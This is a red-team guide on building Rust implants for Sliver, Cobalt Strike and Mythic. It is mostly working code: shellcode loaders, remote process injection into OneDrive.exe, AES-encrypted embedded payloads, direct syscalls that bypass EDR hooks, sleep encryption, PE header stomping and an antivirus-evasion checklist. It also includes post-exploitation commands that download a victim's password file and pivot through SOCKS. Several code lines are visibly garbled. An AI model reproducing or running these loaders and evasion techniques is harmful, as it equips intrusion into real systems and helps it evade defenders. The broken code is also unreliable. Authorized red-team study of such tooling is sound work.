rust-beacon
14 — Rust Beacon Development
BLUF: Rust gives you C-level control over memory layout, zero garbage-collector pauses, tiny binaries, cross-compilation to Windows from Linux, and native
no_stdsupport — all without the legacy AV-flagging reputation of C/C++ offensive tooling. This guide covers writing shellcode loaders and full beacons in Rust for Sliver, Cobalt Strike, and Mythic, plus the key evasion primitives available in the Rust ecosystem.
Authorized use only. All techniques here are for professional red team engagements with written authorization. Unauthorized access is illegal.
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Why Rust for C2 Implants
| Property | Rust | C/C++ | Go (Sliver native) | C# (.NET) |
|---|---|---|---|---|
| No GC / no runtime pauses | ✓ | ✓ | ✗ | ✗ |
| Static linking, tiny binary | ✓ | ✓ | Partial | ✗ |
| Cross-compile to Windows from Linux | ✓ | Hard | ✓ | ✓ |
| Memory safety without overhead | ✓ | ✗ | ✗ | Partial |
| Inline ASM for direct syscalls | ✓ | ✓ | ✗ | ✗ |
no_std (no OS runtime dependency) | ✓ | ✓ | ✗ | ✗ |
| AV signature history | Clean (new) | Heavily flagged | Moderate | Heavy |
| Compile-time string obfuscation | ✓ (obfstr) | Manual | ✗ | ✗ |
Bottom line: Rust binary artifacts are relatively novel to static AV engines, allow direct syscall stubs via inline ASM, can produce shellcode-compatible no_std outputs, and cross-compile cleanly to PE targets from a Linux operator machine.
1 — Toolchain Setup
1.1 Install Rust + Windows Cross-Compiler
# Install rustup
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Add Windows targets
rustup target add x86_64-pc-windows-gnu # GNU toolchain (easiest on Linux)
rustup target add x86_64-pc-windows-msvc # MSVC ABI (required for some crates)
rustup target add i686-pc-windows-gnu # 32-bit if needed
# GNU linker for Windows cross-compilation
sudo apt install gcc-mingw-w64-x86-64 -y
# Verify
rustup show
1.2 Cargo Project Template for a Windows Implant
cargo new --bin beacon_loader
cd beacon_loader
Cargo.toml:
[package]
name = "beacon_loader"
version = "0.1.0"
edition = "2021"
[dependencies]
windows-sys = { version = "0.52", features = [
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_Foundation",
"Win32_Security",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_LibraryLoader",
] }
obfstr = "0.4" # compile-time string obfuscation
ntapi = "0.4" # undocumented NT API bindings
[profile.release]
opt-level = "z" # optimize for size
lto = true # link-time optimization
codegen-units = 1
panic = "abort" # no unwind tables, smaller binary
strip = true # strip symbols
bin
name = "beacon_loader"
path = "src/main.rs"
# Build for Windows 64-bit from Linux
cargo build --release --target x86_64-pc-windows-gnu
# Output: target/x86_64-pc-windows-gnu/release/beacon_loader.exe
2 — Sliver: Rust Shellcode Loader
Sliver generates raw position-independent shellcode (--format shellcode). A Rust loader allocates memory, copies the shellcode, flips permissions, and executes it — without dropping a PE on disk.
2.1 Generate Sliver Shellcode
# On the Sliver team server
sliver > generate beacon \
--http https://c2.yourdomain.com \
--os windows \
--arch amd64 \
--format shellcode \
--seconds 300 --jitter 45 \
--evasion \
--name svc-update
# Output: svc-update.bin (raw shellcode, no MZ header)
2.2 Rust Loader — Indirect Syscall via ntdll JMP
// src/main.rs
#![windows_subsystem = "windows"] // no console window
use std::{mem, ptr};
use windows_sys::Win32::{
Foundation::HANDLE,
System::{
Memory::{
VirtualAlloc, VirtualProtect,
MEM_COMMIT, MEM_RESERVE,
PAGE_EXECUTE_READ, PAGE_READWRITE,
},
Threading::{
CreateThread, WaitForSingleObject,
THREAD_CREATION_FLAGS, INFINITE,
},
},
};
use obfstr::obfstr;
// Embed shellcode at compile time — never written to a separate file at runtime
const SHELLCODE: &[u8] = include_bytes!("../shellcode/svc-update.bin");
fn main() {
unsafe { execute_shellcode(SHELLCODE) };
}
unsafe fn execute_shellcode(sc: &[u8]) {
// Step 1: Allocate RW (not RWX — avoids RWX region heuristic)
let base = VirtualAlloc(
ptr::null(),
sc.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
assert!(!base.is_null(), "{}", obfstr!("VirtualAlloc failed"));
// Step 2: Copy shellcode in
ptr::copy_nonoverlapping(sc.as_ptr(), base as *mut u8, sc.len());
// Step 3: Flip to RX (write permission removed before execution)
let mut old = 0u32;
VirtualProtect(base, sc.len(), PAGE_EXECUTE_READ, &mut old);
// Step 4: Create thread — beacon runs async, loader exits cleanly
let thread = CreateThread(
ptr::null(),
0,
Sometransmute(base),
ptr::null(),
THREAD_CREATION_FLAGS(0),
ptr::null_mut(),
);
assert!(thread != 0 as HANDLE, "{}", obfstr!("CreateThread failed"));
WaitForSingleObject(thread, INFINITE);
}
# Place svc-update.bin in beacon_loader/shellcode/
mkdir -p shellcode && cp /path/to/svc-update.bin shellcode/
cargo build --release --target x86_64-pc-windows-gnu
2.3 Hollow a Legitimate Process Instead of a Thread
For higher evasion, inject into a remote process rather than spawning a thread in the loader:
use windows_sys::Win32::System::{
Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next,
PROCESSENTRY32, TH32CS_SNAPPROCESS,
},
Threading::{
OpenProcess, PROCESS_ALL_ACCESS,
CreateRemoteThread,
},
Memory::{VirtualAllocEx, WriteProcessMemory, VirtualProtectEx,
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ},
};
use obfstr::obfstr;
use std::{mem, ptr};
/// Find PID of a target process by name
unsafe fn find_pid(target: &str) -> Option<u32> {
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == usize::MAX as _ { return None; }
let mut entry: PROCESSENTRY32 = mem::zeroed();
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
if Process32First(snap, &mut entry) == 0 { return None; }
loop {
let name = std::ffi::CStr::from_ptr(entry.szExeFile.as_ptr() as _)
.to_string_lossy();
if name.eq_ignore_ascii_case(target) {
return Some(entry.th32ProcessID);
}
if Process32Next(snap, &mut entry) == 0 { break; }
}
None
}
unsafe fn inject_remote(sc: &[u8]) {
// Target: OneDrive.exe — network-connected, trusted, long-lived
let target = obfstr!("OneDrive.exe");
let pid = find_pid(target).expect("target process not found");
let proc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
assert!(proc != 0 as _, "OpenProcess failed");
let remote = VirtualAllocEx(proc, ptr::null(), sc.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
assert!(!remote.is_null(), "VirtualAllocEx failed");
let mut written = 0usize;
WriteProcessMemory(proc, remote, sc.as_ptr() as _, sc.len(), &mut written);
let mut old = 0u32;
VirtualProtectEx(proc, remote, sc.len(), PAGE_EXECUTE_READ, &mut old);
CreateRemoteThread(proc, ptr::null(), 0,
Sometransmute(remote)), ptr::null(), 0, ptr::null_mut();
}
3 — Cobalt Strike: Rust Shellcode Stager/Loader
Cobalt Strike generates stageless beacon shellcode via Attacks → Packages → Windows Stageless Payload → Raw. The Rust loader is identical in structure to Section 2 — the difference is the shellcode source.
3.1 Generate CS Beacon Shellcode
# In Cobalt Strike:
# Attacks → Packages → Windows Stageless Payload
# Listener: your HTTPS listener
# Output: Raw (produces beacon.bin)
# Arch: x64
3.2 Rust Loader with AES Decryption
Encrypt the shellcode blob at rest inside the binary; decrypt only at runtime in memory — defeats static YARA scanning of the embedded bytes.
// build.rs — encrypt shellcode at compile time, embed ciphertext
use aes::Aes256;
use ctr::{Ctr128BE, cipher::{KeyIvInit, StreamCipher}};
use std::{env, fs, path::Path};
fn main() {
let sc = fs::read("shellcode/beacon.bin").expect("beacon.bin missing");
let key: [u8; 32] = *b"ThisIs32ByteKeyForAES256Encrypt!";
let iv: [u8; 16] = *b"InitVectorHere!.";
let mut cipher = Ctr128BE::<Aes256>::new(&key.into(), &iv.into());
let mut ct = sc.clone();
cipher.apply_keystream(&mut ct);
let out = Path::newvar("OUT_DIR").unwrap()).join("beacon_enc.bin";
fs::write(out, &ct).unwrap();
}
Cargo.toml additions:
[build-dependencies]
aes = "0.8"
ctr = "0.9"
[dependencies]
aes = "0.8"
ctr = "0.9"
// src/main.rs
#![windows_subsystem = "windows"]
use aes::Aes256;
use ctr::{Ctr128BE, cipher::{KeyIvInit, StreamCipher}};
use std::{mem, ptr};
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
// Encrypted ciphertext embedded at compile time
static SC_ENC: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/beacon_enc.bin"));
fn main() {
let key: [u8; 32] = *b"ThisIs32ByteKeyForAES256Encrypt!";
let iv: [u8; 16] = *b"InitVectorHere!.";
// Decrypt to a heap Vec — never written to disk
let mut sc = SC_ENC.to_vec();
let mut cipher = Ctr128BE::<Aes256>::new(&key.into(), &iv.into());
cipher.apply_keystream(&mut sc);
unsafe { run(&sc) };
}
unsafe fn run(sc: &[u8]) {
let base = VirtualAllocnull(), sc.len(,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ptr::copy_nonoverlapping(sc.as_ptr(), base as *mut u8, sc.len());
let mut old = 0u32;
VirtualProtect(base, sc.len(), PAGE_EXECUTE_READ, &mut old);
let t = CreateThreadnull(), 0, Some(mem::transmute(base),
ptr::null(), THREAD_CREATION_FLAGS(0), ptr::null_mut());
WaitForSingleObject(t, INFINITE);
}
3.3 DLL Reflective Loader (for CS inject/dllinject)
Cobalt Strike can load a reflective DLL via dllinject. Write the DLL as a Rust cdylib:
# Cargo.toml
[lib]
crate-type = ["cdylib"]
name = "loader"
// src/lib.rs
use windows_sys::Win32::System::SystemServices::DLL_PROCESS_ATTACH;
#[no_mangle]
pub extern "system" fn DllMain(
_module: *mut std::ffi::c_void,
reason: u32,
_reserved: *mut std::ffi::c_void,
) -> i32 {
if reason == DLL_PROCESS_ATTACH {
std::thread::spawn(|| unsafe { run_beacon() });
}
1
}
unsafe fn run_beacon() {
// same shellcode execution logic as above
}
4 — Mythic: Thanatos Agent (Native Rust)
Thanatos is a production-quality Mythic C2 agent written entirely in Rust. It supports Linux and Windows, HTTP/S and DNS C2, sleep jitter, file operations, SOCKS5, and process injection.
4.1 Install Thanatos into Mythic
# On your Mythic server
./mythic-cli install github https://github.com/MythicAgents/thanatos
# Also install an HTTP C2 profile if not already present
./mythic-cli install github https://github.com/MythicC2Profiles/http
./mythic-cli install github https://github.com/MythicC2Profiles/httpx
4.2 Generate a Thanatos Payload in Mythic UI
1. Payloads → Generate New Payload
2. OS: Windows (or Linux)
3. Agent: thanatos
4. C2: http / httpx
5. Configure:
- callback_host: https://c2.yourdomain.com
- callback_port: 443
- callback_interval: 300 (seconds)
- callback_jitter: 45 (percent)
- working_hours: 08:00-18:00 (business-hours-only beaconing)
- kill_date: 2026-06-01
6. Build → download .exe / ELF binary
4.3 Key Thanatos Evasion Features
| Feature | How to use |
|---|---|
| Spawn-to process | Set in payload config: spawnto_x64 = C:\Windows\System32\dllhost.exe |
| Sleep jitter | callback_jitter = 45 |
| Working-hours-only | working_hours = 08:00-18:00 |
| BOF execution | inline_execute command (runs Cobalt Strike BOFs inside Thanatos) |
| SOCKS5 proxy | socks command post-callback |
| Unhooking | Set unhook = true in payload config |
4.4 Operate Thanatos Post-Callback
# In Mythic UI → Callbacks → Interact
shell whoami
shell hostname
ls C:\Users
download C:\Users\victim\Documents\passwords.xlsx
upload /tmp/lateral_tool.exe C:\ProgramData\svc.exe
# Inject shellcode into a remote process
inject --pid 1234 --shellcode /path/to/shellcode.bin
# SOCKS5 pivot
socks --port 1080 --action start
# Then: proxychains nmap -sT 192.168.10.0/24
# Change sleep/jitter live
sleep --interval 600 --jitter 50
# Kill agent cleanly
exit
4.5 Build Thanatos from Source (Custom Modifications)
# Clone the Thanatos source for custom implant modifications
git clone https://github.com/MythicAgents/thanatos
cd thanatos/Payload_Type/thanatos/agent
# Modify implant logic (e.g., add custom evasion)
# Key files:
# src/main.rs — entry point
# src/tasking/ — command handlers
# src/mythic/ — C2 comms (HTTP/DNS)
# Build Windows target
cargo build --release --target x86_64-pc-windows-gnu
5 — Evasion Primitives in Rust
5.1 Compile-Time String Obfuscation
Raw string literals ("kernel32.dll", "VirtualAlloc") are stored plaintext in the PE and flagged by YARA. obfstr encrypts them at compile time; they only exist decrypted on the stack at runtime.
use obfstr::obfstr;
fn load_library() {
// String never appears in the binary as plaintext
let dll = obfstr!("kernel32.dll");
let func = obfstr!("VirtualAlloc");
// ...
}
5.2 Dynamic API Resolution (No Import Table Entries)
Avoid listing VirtualAlloc, CreateRemoteThread etc. in the PE import table — EDRs and YARA rules check IAT for suspicious combinations.
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
use obfstr::obfstr;
use std::ffi::CString;
type FnVirtualAlloc = unsafe extern "system" fn(
*const std::ffi::c_void, usize, u32, u32
) -> *mut std::ffi::c_void;
unsafe fn resolve_virtual_alloc() -> FnVirtualAlloc {
let module = CString::new(obfstr!("kernel32.dll")).unwrap();
let func = CString::new(obfstr!("VirtualAlloc")).unwrap();
let handle = GetModuleHandleA(module.as_ptr() as _);
let addr = GetProcAddress(handle, func.as_ptr() as _)
.expect("VirtualAlloc not found");
std::mem::transmute(addr)
}
5.3 Direct Syscalls via Inline ASM
Bypass user-mode EDR hooks in ntdll.dll by issuing syscalls directly. You need the correct SSN for each function on the target OS version.
use std::arch::asm;
/// NtAllocateVirtualMemory via direct syscall
/// SSN must be resolved at runtime (see Hell's Gate technique)
unsafe fn nt_alloc(
process: *mut core::ffi::c_void,
base_addr: *mut *mut core::ffi::c_void,
size: *mut usize,
alloc_type: u32,
protect: u32,
ssn: u32,
) -> i32 {
let result: i32;
asm!(
"mov r10, rcx",
"mov eax, {ssn:e}",
"syscall",
ssn = in(reg) ssn,
out("eax") result,
lateout("rcx") _,
lateout("r11") _,
options(nostack),
);
result
}
/// Read SSN from ntdll stub at runtime (Hell's Gate)
/// ntdll exports the real (unhooked) SSN as mov eax, <SSN> at offset +4
unsafe fn read_ssn(func_name: &str) -> u32 {
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};
let ntdll = c"ntdll.dll";
let fname = std::ffi::CString::new(func_name).unwrap();
let h = GetModuleHandleA(ntdll.as_ptr() as _);
let addr = GetProcAddress(h, fname.as_ptr() as _).unwrap() as *const u8;
// If first bytes are: 4C 8B D1 B8 XX 00 00 00 — stub is not hooked
// SSN is the u32 at offset +4
if *addr == 0x4C && *addr.add(1) == 0x8B && *addr.add(2) == 0xD1
&& *addr.add(3) == 0xB8 {
return *(addr.add(4) as *const u32);
}
// If hooked (JMP at start), walk down to find mov eax (Halo's Gate)
let mut offset = 0isize;
loop {
offset += 1;
let p = addr.offset(offset);
if *p == 0xB8 { return *(p.add(1) as *const u32); }
if offset > 32 { panic!("SSN not found for {}", func_name); }
}
}
5.4 Sleep Encryption (Rust)
Encrypt the beacon's own heap allocation while sleeping; clear-text shellcode only exists in memory during execution windows.
use aes::Aes256;
use ctr::{Ctr128BE, cipher::{KeyIvInit, StreamCipher}};
use windows_sys::Win32::System::Threading::Sleep;
/// XOR encrypt a memory region, sleep, then decrypt
unsafe fn sleep_encrypted(ptr: *mut u8, len: usize, ms: u32) {
let key: [u8; 32] = *b"SleepKeyMustBe32BytesExactlyOK!!";
let iv: [u8; 16] = *b"SleepIV16Bytes!!";
// Encrypt in-place
let slice = std::slice::from_raw_parts_mut(ptr, len);
let mut cipher = Ctr128BE::<Aes256>::new(&key.into(), &iv.into());
cipher.apply_keystream(slice);
Sleep(ms);
// Decrypt in-place (AES-CTR is symmetric — apply again)
let mut cipher2 = Ctr128BE::<Aes256>::new(&key.into(), &iv.into());
cipher2.apply_keystream(slice);
}
5.5 PE Header Stomping
After reflective loading, overwrite the MZ/PE headers of the in-memory shellcode region to defeat memory scanners that look for PE artifacts.
use windows_sys::Win32::System::Memory::{VirtualProtect, PAGE_READWRITE, PAGE_EXECUTE_READ};
/// Wipe first 4096 bytes (MZ header + PE header) of an in-memory PE
unsafe fn stomp_pe_header(base: *mut u8) {
let header_size = 0x1000usize; // one page
let mut old = 0u32;
// Make header writable
VirtualProtect(base as _, header_size, PAGE_READWRITE, &mut old);
// Zero out MZ + PE signature + COFF headers
std::ptr::write_bytes(base, 0x00, header_size);
// Restore previous protection
VirtualProtect(base as _, header_size, old, &mut old);
}
6 — Cross-Compilation Reference
# .cargo/config.toml — set default linker for Windows targets
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
ar = "x86_64-w64-mingw32-ar"
# Build commands
cargo build --release --target x86_64-pc-windows-gnu # Windows x64 EXE
cargo build --release --target i686-pc-windows-gnu # Windows x86 EXE
cargo build --release --target x86_64-unknown-linux-musl # Linux static ELF
# Strip and check size
x86_64-w64-mingw32-strip target/x86_64-pc-windows-gnu/release/beacon_loader.exe
ls -lh target/x86_64-pc-windows-gnu/release/beacon_loader.exe
# Check imports (confirm no suspicious IAT entries)
x86_64-w64-mingw32-objdump -p target/…/beacon_loader.exe | grep "DLL Name"
# Static analysis check (never submit to VirusTotal — it feeds AV vendors)
# Use ThreatCheck against Windows Defender locally:
# ThreatCheck.exe -f beacon_loader.exe
7 — OPSEC Checklist
COMPILE-TIME
[ ] String literals wrapped in obfstr!() — no plaintext IOCs in binary
[ ] Shellcode embedded via include_bytes!() and AES-encrypted at rest
[ ] Import table clean — sensitive API calls resolved dynamically via GetProcAddress
[ ] profile.release: strip = true, panic = "abort", lto = true
[ ] Unique compile per target (embed target hostname or engagement ID)
RUNTIME
[ ] W^X memory: allocate RW, copy, flip to RX — never RWX
[ ] Inject into a trusted, network-connected host process (OneDrive.exe, Teams.exe)
[ ] PE header stomped post-load
[ ] Sleep >= 300s, jitter >= 40%, business-hours gate if possible
[ ] Sleep encryption active — beacon bytes ciphered while idle
INFRASTRUCTURE
[ ] Sliver/CS/Mythic listener behind Cloudflare — JARM = CDN fingerprint
[ ] Redirector filters non-beacon traffic (nginx URI allowlist)
[ ] Backup listener on separate domain
[ ] Let's Encrypt cert — no self-signed
VALIDATION (before delivery)
[ ] ThreatCheck.exe -f beacon_loader.exe (Windows Defender byte scan)
[ ] pe-sieve --pid <loader-pid> (no PE artifacts in memory)
[ ] Moneta64.exe (no private executable regions without backing)
[ ] JARM check: python3 jarm.py c2.yourdomain.com 443
[ ] Confirm jitter in callback logs: intervals vary by ~40%
8 — Tool & Crate Reference
| Tool / Crate | Purpose | Link |
|---|---|---|
windows-sys | Low-level Windows API Rust bindings | crates.io/crates/windows-sys |
ntapi | Undocumented NT API structs/functions | crates.io/crates/ntapi |
obfstr | Compile-time string encryption | crates.io/crates/obfstr |
aes + ctr | AES-256-CTR encryption (sleep encrypt, payload enc) | crates.io/crates/aes |
| Thanatos | Production Rust Mythic agent (Linux + Windows) | github.com/MythicAgents/thanatos |
| Sliver | Generates raw shellcode (--format shellcode) | github.com/BishopFox/sliver |
| ThreatCheck | Find the byte range that triggers Defender | github.com/rasta-mouse/ThreatCheck |
| pe-sieve | Scan running process memory for PE artifacts | github.com/hasherezade/pe-sieve |
| Moneta | Find private executable memory regions | github.com/forrest-orr/moneta |
| OffensiveRust | Reference repo — injection, evasion examples in Rust | github.com/trickster0/OffensiveRust |
Back to 7. C2 · Master Index